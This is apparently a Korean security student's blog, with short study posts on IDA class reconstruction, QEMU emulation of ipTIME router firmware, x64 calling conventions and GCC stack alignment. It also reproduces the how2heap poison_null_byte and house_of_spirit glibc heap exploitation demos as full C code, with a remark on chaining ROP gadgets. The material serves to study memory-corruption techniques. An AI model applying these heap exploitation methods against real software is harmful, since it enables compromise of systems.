[IDA] C++ Class 변환

공부 2017. 8. 9. 02:37
반응형

변환 방법


1. vtable을 구조체형식으로 선언


2. constructor에서 사용되는 변수들을 기반으로 class를 구조체형식으로 작성



결과적으로는 아래와 같은 구조를 가짐


struct class1{
	_vtable_class *vtable;
	char dummy[168];
	_DWORD some;
	char dummy2[6];
}

struct _vtable_class
{
  __int64 (__fastcall *f1)();
  __int64 (__fastcall *f2)();
  __int64 (__fastcall *f3)();
  __int64 (__fastcall *f4)();
};


'공부' 카테고리의 다른 글

유저 영역 Stack Canary 분석  (2) 2018.08.16
python AES  (0) 2018.08.10
[QEMU] iptime emulating  (2) 2017.07.26
[how2heap] poison_null_byte  (0) 2017.05.09
64비트 Calling Convention  (0) 2017.05.09
블로그 이미지

KuroNeko_

KuroNeko

,

[QEMU] iptime emulating

공부 2017. 7. 26. 20:04
반응형

힘드렀다


apt-get install qemu-system-mipsel

wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta

wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2



qemu-system-mipsel -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -nographic -redir tcp:3080::80 -redir tcp:3022::22



cp ./default/* ./tmp/ 


chroot ./ ./bin/sh 


./sbin/httpd


cd /

mkdir /home/httpd/192.168.0.1/sess-bin

cp -r cgibin/* /home/httpd/192.168.0.1/sess-bin/

cp -r cgibin/* /bin/login-cgi

'공부' 카테고리의 다른 글

python AES  (0) 2018.08.10
[IDA] C++ Class 변환  (0) 2017.08.09
[how2heap] poison_null_byte  (0) 2017.05.09
64비트 Calling Convention  (0) 2017.05.09
GCC Stack Boundary  (0) 2017.04.27
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h> int main() { printf("Welcome to poison null byte 2.0!\n"); printf("Tested in Ubuntu 14.04 64bit.\n"); printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"); uint8_t* a; uint8_t* b; uint8_t* c; uint8_t* b1; uint8_t* b2; uint8_t* d; printf("We allocate 0x100 bytes for 'a'.\n"); a = (uint8_t*) malloc(0x100); printf("a: %p\n", a); int real_a_size = malloc_usable_size(a); printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' " "(it may be more than 0x100 because of rounding): %#x\n", real_a_size); /* chunk size attribute cannot have a least significant byte with a value of 0x00. * the least significant byte of this will be 0x10, because the size of the chunk includes * the amount requested plus some amount required for the metadata. */ b = (uint8_t*) malloc(0x200); printf("b: %p\n", b); c = (uint8_t*) malloc(0x100); printf("c: %p\n", c); uint64_t* b_size_ptr = (uint64_t*)(b - 8); /* this technique works by overwriting the size metadata of a free chunk */ free(b); printf("b.size: %#lx\n", *b_size_ptr); printf("b.size is: (0x200 + 0x10) | prev_in_use\n"); printf("We overflow 'a' with a single null byte into the metadata of 'b'\n"); a[real_a_size] = 0; printf("b.size: %#lx\n", *b_size_ptr); uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2; printf("c.prev_size is %#lx\n",*c_prev_size_ptr); b1 = malloc(0x100); printf("b1: %p\n",b1); printf("Now we malloc 'b1'. It will be placed where 'b' was. " "At this point c.prev_size should have been updated, but it was not: %lx\n",*c_prev_size_ptr); printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes " "before c.prev_size: %lx\n",*(((uint64_t*)c)-4)); printf("We malloc 'b2', our 'victim' chunk.\n"); b2 = malloc(0x80); printf("b2: %p\n",b2); memset(b2,'B',0x80); printf("Current b2 content:\n%s\n",b2); printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n"); free(b1); free(c); printf("Finally, we allocate 'd', overlapping 'b2'.\n"); d = malloc(0x300); printf("d: %p\n",d); printf("Now 'd' and 'b2' overlap.\n"); memset(d,'D',0x300); printf("New b2 content:\n%s\n",b2); printf("Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf " "for the clear explanation of this technique.\n"); }


요약


3개를 할당한 뒤 두번째 chunk를 해제하고 size를 null byte Overwrite한 뒤 원래 b의 크기였던 0x200보다 작은 크기로 두 개를 할당해주고


새로 할당했던 것중 먼저 했던 걸 해제해주고 c를 해제해주게 되면 b2를 overlapping할 수 있게 된다. (forget)


즉, d를 새로 할당하게 되면 b2가 overlapping된 상태로 할당이 된다.



Glibc_Adventures-The_Forgotten_Chunks.pdf


'공부' 카테고리의 다른 글

[IDA] C++ Class 변환  (0) 2017.08.09
[QEMU] iptime emulating  (2) 2017.07.26
64비트 Calling Convention  (0) 2017.05.09
GCC Stack Boundary  (0) 2017.04.27
정보보안기사 정리  (0) 2017.04.20
블로그 이미지

KuroNeko_

KuroNeko

,
반응형


 Linux

Window 

 RDI

 RCX

 RSI

 RDX

 RDX

 R8

 RCX

 R9

 R8

Stack

 R9

Stack



이 순서대로 Argument 가 들어간다.


리눅스는 Argument를 레지스터에 최대 6개까지 지원해주고 나머지는 스택에 Push하는 방식이다


Window는 4개만 지원하고 나머지는 스택에 push하는 방식이다.


즉 64bit ROP짤 때 각각 pop [reg] ret를 찾아서 call chain하면 되겠다

'공부' 카테고리의 다른 글

[QEMU] iptime emulating  (2) 2017.07.26
[how2heap] poison_null_byte  (0) 2017.05.09
GCC Stack Boundary  (0) 2017.04.27
정보보안기사 정리  (0) 2017.04.20
[C++] 프로그램 관리자 권한 요구  (0) 2017.01.04
블로그 이미지

KuroNeko_

KuroNeko

,

GCC Stack Boundary

공부 2017. 4. 27. 16:30
반응형

Ubuntu 16.04에서 gcc로 컴파일 하게 되면 함수의 프롤로그와 에필로그에 ecx를 통한 esp 변조를 하는 것을 볼 수 있는데


이는 SSE계열의 함수들을 위해서 미리 예약해두는 공간이라고 한다.


sse계열의 함수는 고속 복사를 위해서 128비트 단위로 복사를 진행해서 기존의 push ebp, mov ebp, esp와 같은 형태로는 에러가 날 수 있다.


만약 sse계열 함수를 사용하지 않는다면 gcc 에 옵션을 줘서 해결할 수 있는데 옵션은 아래와 같다.


gcc -o hou hou.c -mpreferred-stack-boundary=(2 ~ 12)


여기서 boundary를 계산할 떄는 2^(num)으로 계산되고 스택에서는 최소 4바이트를 push해야하기에 boundary값의 min은 2가 들어간다.


'공부' 카테고리의 다른 글

[how2heap] poison_null_byte  (0) 2017.05.09
64비트 Calling Convention  (0) 2017.05.09
정보보안기사 정리  (0) 2017.04.20
[C++] 프로그램 관리자 권한 요구  (0) 2017.01.04
[how2heap] house_of_spirit  (0) 2016.12.28
블로그 이미지

KuroNeko_

KuroNeko

,

정보보안기사 정리

공부 2017. 4. 20. 00:56
반응형

http://kit2013.tistory.com/209

'공부' 카테고리의 다른 글

64비트 Calling Convention  (0) 2017.05.09
GCC Stack Boundary  (0) 2017.04.27
[C++] 프로그램 관리자 권한 요구  (0) 2017.01.04
[how2heap] house_of_spirit  (0) 2016.12.28
[how2heap] unsafe unlink  (0) 2016.12.26
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

프로젝트 속성 - 링커 - 매니페스트 파일 - UAC 실행 수준


requireAdministrator로 변경

'공부' 카테고리의 다른 글

GCC Stack Boundary  (0) 2017.04.27
정보보안기사 정리  (0) 2017.04.20
[how2heap] house_of_spirit  (0) 2016.12.28
[how2heap] unsafe unlink  (0) 2016.12.26
[how2heap] fast bin dup into stack  (0) 2016.12.25
블로그 이미지

KuroNeko_

KuroNeko

,

[how2heap] house_of_spirit

공부 2016. 12. 28. 22:38
반응형
#include <stdio.h>
#include <stdlib.h>

int main()
{
	printf("This file demonstrates the house of spirit attack.\n");

	printf("Calling malloc() once so that it sets up its memory.\n");
	malloc(1);

	printf("We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
	unsigned long long *a;
	unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

	printf("This region must contain two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[7]);

	printf("This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
	printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
	fake_chunks[1] = 0x40; // this is the size

	printf("The chunk.size of the *next* fake region has be above 2*SIZE_SZ (16 on x64) but below av->system_mem (128kb by default for the main arena) to pass the nextsize integrity checks .\n");
	fake_chunks[9] = 0x2240; // nextsize

	printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
	printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
	a = &fake_chunks[2];

	printf("Freeing the overwritten pointer.\n");
	free(a);

	printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
	printf("malloc(0x30): %p\n", malloc(0x30));
}


정리.


stack이나 bss영역이나 쓰기가능 한 곳에 fake청크를 만들어서 ptr를 덮어씌워 free시키면 free list에 주소가 저장되므로


다음 malloc때 해당 영역에 할당되게 된다.

'공부' 카테고리의 다른 글

정보보안기사 정리  (0) 2017.04.20
[C++] 프로그램 관리자 권한 요구  (0) 2017.01.04
[how2heap] unsafe unlink  (0) 2016.12.26
[how2heap] fast bin dup into stack  (0) 2016.12.25
[how2heap] fastbin dup  (0) 2016.12.25
블로그 이미지

KuroNeko_

KuroNeko

,